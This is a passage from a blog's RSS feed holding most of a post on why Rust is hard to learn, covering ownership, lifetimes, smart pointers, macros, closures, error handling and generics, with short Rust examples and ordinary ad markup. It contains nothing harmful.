library&lt;/a&gt;&#xA; to find bugs in the code, an average interview for a developer position, all looks normal up to this point. Of course you, in need of a good job, decide to go through with the process.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>What makes Rust so difficult to learn?</title>
      <link>https://coffeebytes.dev/en/rust/what-makes-rust-so-difficult-to-learn/</link>
      <pubDate>Wed, 16 Oct 2024 19:15:56 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/rust/what-makes-rust-so-difficult-to-learn/</guid>
      
      <category>rust</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I started learning Rust, and everything I read on the internet about its learning curve is true. Rust is difficult, not impossible, just difficult. But now I also &lt;strong&gt;understand why the obsession with this programming language&lt;/strong&gt;. After finishing Rust&amp;rsquo;s book I had a glimpse of the programming language that I will try to accurately capture in the following paragraphs.&lt;/p&gt;&#xA;&lt;p&gt;If you already know what makes Rust so difficult and you&amp;rsquo;re looking to learn it instead, skip to the final part of this post where I recommend some useful resources to learn Rust.&lt;/p&gt;&#xA;&lt;h2 id=&#34;rust-concepts-that-are-not-in-other-languages&#34;&gt;Rust concepts that are not in other languages&lt;/h2&gt;&#xA;&lt;p&gt;Rust requires you to master a number of concepts that don&amp;rsquo;t exist in other programming languages, which makes the exercise of learning Rust a bit more complex than extrapolating the syntax of other languages to it, just as you would do if you wanted to learn &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;the Go programming language&lt;/a&gt;&#xA;, for example, for that same reason I don&amp;rsquo;t recommend that you learn Rust as your first language.&lt;/p&gt;&#xA;&lt;p&gt;The reason behind Rust&amp;rsquo;s complexity lies on an exotic scenario. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.technologyreview.com/2023/02/14/1067869/rust-worlds-fastest-growing-programming-language/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Rust was created by Graydon Hoare after an incident with an out of order elevator&lt;/a&gt;&#xA;, the reason? poor memory management in its code, probably from C or C++.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/972mo7.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/972mo7.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rust was created by Graydon Hoare after a problem with an elevator&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Rust was created by Royden Lepp after a problem with an elevator&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;borrowing-in-rust-is-difficult&#34;&gt;Borrowing in Rust is difficult&lt;/h3&gt;&#xA;&lt;p&gt;The goal of the creator of Rust was to disappear all the heap memory management errors that you probably already know about, for this Rust makes sure that there can only be one variable that &lt;em&gt;owns&lt;/em&gt; one value, this possession can be transferred from one variable to another by borrowing but at all times there can only be one owner &lt;del&gt;to rule them all&lt;/del&gt;. This approach makes complicated, but not impossible, to create memory leaks.&lt;/p&gt;&#xA;&lt;p&gt;Tip: When I was reading about this I found this video helpful to learn borrowing:&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/4RZzjXmXcKg?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;h3 id=&#34;understanding-the-lifetimes-in-rust-is-difficult&#34;&gt;Understanding the Lifetimes in Rust is difficult&lt;/h3&gt;&#xA;&lt;p&gt;I haven&amp;rsquo;t read about this concept elsewhere, Lifetimes are used to manually tell the compiler the duration (lifetime) of a variable, in cases where the compiler cannot infer it automatically. Once you grasp the concept, lifetimes are simple in practice but they can reduce the readability of the code, especially if you have never seen them before.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/972opz.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/972opz.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;How it feels when you first read about lifetimes&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;How it feels when you first read about lifetimes&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;You don&amp;rsquo;t need to understand exactly what the extra annotations do, the important thing here is that you appreciate how their use can make code quite unreadable and complicated to understand at a glance.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;longest&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;&amp;#39;a&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;(x: &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;&amp;#39;a&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;str&lt;/span&gt;, y: &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;&amp;#39;a&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;str&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;&amp;#39;a&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;str&lt;/span&gt; { &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; x.len() &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; y.len() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        x &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        y &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The good news is that, to my relief, it doesn&amp;rsquo;t seem to be a feature that you have to implement frequently.&lt;/p&gt;&#xA;&lt;h3 id=&#34;understanding-when-to-use-the-multiple-smart-pointers-box-refcell-cell-arc-mutex-in-rust-is-difficult&#34;&gt;Understanding when to use the multiple smart pointers Box, RefCell, Cell, Arc, Mutex, in Rust is difficult.&lt;/h3&gt;&#xA;&lt;p&gt;Rust has a number of smart pointers to handle memory references in case you need to allocate memory in the heap or access a variable from multiple places (I have previously written, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/&#34;&gt;about Mutex but in Go&lt;/a&gt;&#xA;).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/972oco.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/972oco.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;When you learn Rust for the first time it feels like this&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Sounds simple but, again, things get complicated when it comes time to write the code and be able to differentiate the use of each and what problem they solve.&lt;/p&gt;&#xA;&lt;p&gt;I didn&amp;rsquo;t understand their differences nor their uses the first time I read them, but after a quick search I realized that I wasn&amp;rsquo;t the only &lt;del&gt;fool&lt;/del&gt; one, stackoverflow and Reddit are full of questions about these smart pointers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; value &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Rc::new(RefCell::new(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tip: While researching about smart pointers I found this video, and I understood them perfectly after watching it.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/CTTiaOo4cbY?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;Also check this simple &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://whiztal.io/rust-tips-rc-box-arc-cell-refcell-mutex/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;summary of Box, Arc, Rc, RefCell and Mutex.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;frequent-use-of-macros-in-rust-can-be-daunting&#34;&gt;Frequent use of Macros in Rust can be daunting&lt;/h3&gt;&#xA;&lt;p&gt;A macro, in Rust, is simply a piece of code that generates other Rust code during compilation.&lt;/p&gt;&#xA;&lt;p&gt;Macros are not a new concept or unique to Rust. However, if you&amp;rsquo;re used to the lack of macros in other programming languages, you&amp;rsquo;re probably confused by the idea of having a fancy decorator, with brackets containing a function call, all with a hashtag at the beginning.&lt;/p&gt;&#xA;&lt;p&gt;In addition to the above, it is quite common to see macros in other people&amp;rsquo;s code, which can be daunting the first time you&amp;rsquo;re reading Rust code.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[derive(Debug)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;enum&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;List&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Cons(Rc&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;RefCell&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt;, Rc&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;List&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Nil,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;closures-syntax-in-rust-is-difficult&#34;&gt;Closures&amp;rsquo; syntax in Rust is difficult.&lt;/h3&gt;&#xA;&lt;p&gt;If you come from languages like Javascript, you are probably familiar with closures (as in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/&#34;&gt;debounce pattern&lt;/a&gt;&#xA;), well in Rust they also exist, but the first time I saw one, I was confused by its syntax, using pipes to receive the arguments and with the word move, which transfers the property of all the variables it contains to the closure. Why not use the same syntax that functions use?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;std::thread::spawn(&lt;span style=&#34;color:#ff6ac1&#34;&gt;move&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;||&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;println!&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;captured &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{data:?}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; by value&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}).join().unwrap();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The good thing is that it is only a matter of getting used to the syntax.&lt;/p&gt;&#xA;&lt;h3 id=&#34;error-handling-in-rust-is-complex&#34;&gt;Error handling in rust is complex&lt;/h3&gt;&#xA;&lt;p&gt;Rust does not have &lt;em&gt;Try&lt;/em&gt; and &lt;em&gt;Catch&lt;/em&gt;, but the handling of errors and null values must be done explicitly, and it&amp;rsquo;s not as painless as in Javascript or Python, for this Rust uses &lt;em&gt;Result&lt;/em&gt;, &lt;em&gt;Option&lt;/em&gt;, &lt;em&gt;Unwrap&lt;/em&gt;, &lt;em&gt;Expect&lt;/em&gt; and &lt;em&gt;?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I found this resource that explains &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.sheshbabu.com/posts/rust-error-handling/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Rust&amp;rsquo;s Error handling&lt;/a&gt;&#xA; in an understandable and simple way.&lt;/p&gt;&#xA;&lt;h4 id=&#34;option&#34;&gt;Option&lt;/h4&gt;&#xA;&lt;p&gt;&lt;em&gt;Option&lt;/em&gt; is an enum that represents either a value (&lt;em&gt;Some&lt;/em&gt;) or the absence of a value (&lt;em&gt;None&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; x: &lt;span style=&#34;color:#ff5c57&#34;&gt;Option&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Some&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; y: &lt;span style=&#34;color:#ff5c57&#34;&gt;Option&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;None&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;result&#34;&gt;Result&lt;/h4&gt;&#xA;&lt;p&gt;&lt;em&gt;Result&lt;/em&gt; is an enum that represents either success (&lt;em&gt;Ok&lt;/em&gt;) or failure (&lt;em&gt;Err&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;divide&lt;/span&gt;(a: &lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;, b: &lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Result&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;String&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; b &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;Err&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cannot divide by zero&amp;#34;&lt;/span&gt;.to_string())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;Ok&lt;/span&gt;(a &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; b)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;expect&#34;&gt;Expect&lt;/h4&gt;&#xA;&lt;p&gt;&lt;em&gt;expect&lt;/em&gt; is a method that either returns the value inside &lt;em&gt;Option&lt;/em&gt; or &lt;em&gt;Result&lt;/em&gt; or panics with a custom message if there&amp;rsquo;s an error or &lt;em&gt;None&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; x &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Some&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;).expect(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Value not found&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;-operator&#34;&gt;? operator&lt;/h4&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;?&lt;/em&gt; operator propagates errors in a &lt;em&gt;Result&lt;/em&gt; type, returning the error if it exists or unwrapping the &lt;em&gt;Ok&lt;/em&gt; value.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_file&lt;/span&gt;() -&amp;gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Result&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;String&lt;/span&gt;, std::io::Error&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; content &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; std::fs::read_to_string(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file.txt&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;?&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;Ok&lt;/span&gt;(content)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;combining-traits-impl-and-generics-in-rust-is-tricky&#34;&gt;Combining traits, impl and generics in Rust is tricky.&lt;/h3&gt;&#xA;&lt;p&gt;Traits, think of them as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-structs-inheritance-polymorphism-and-encapsulation/&#34;&gt;interfaces, (which I already told you about in my post about Go&amp;rsquo;s polymorphism)&lt;/a&gt;&#xA;, mixed with generics, can add complexity to the code.&#xA;In the example below we use a generic on a struct, to tell it that grade can be any type, and in the implementation we make sure that this generic Type satisfies the Display trait, so that it can be printed.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Taken from rustlings exercises, see the final part of this post&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Display is a trait here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;use&lt;/span&gt; std::fmt::Display;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Grade can be anything as long as ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HogwartsReportCard&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;T&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    grade: &lt;span style=&#34;color:#f3f99d&#34;&gt;T&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    student_name: &lt;span 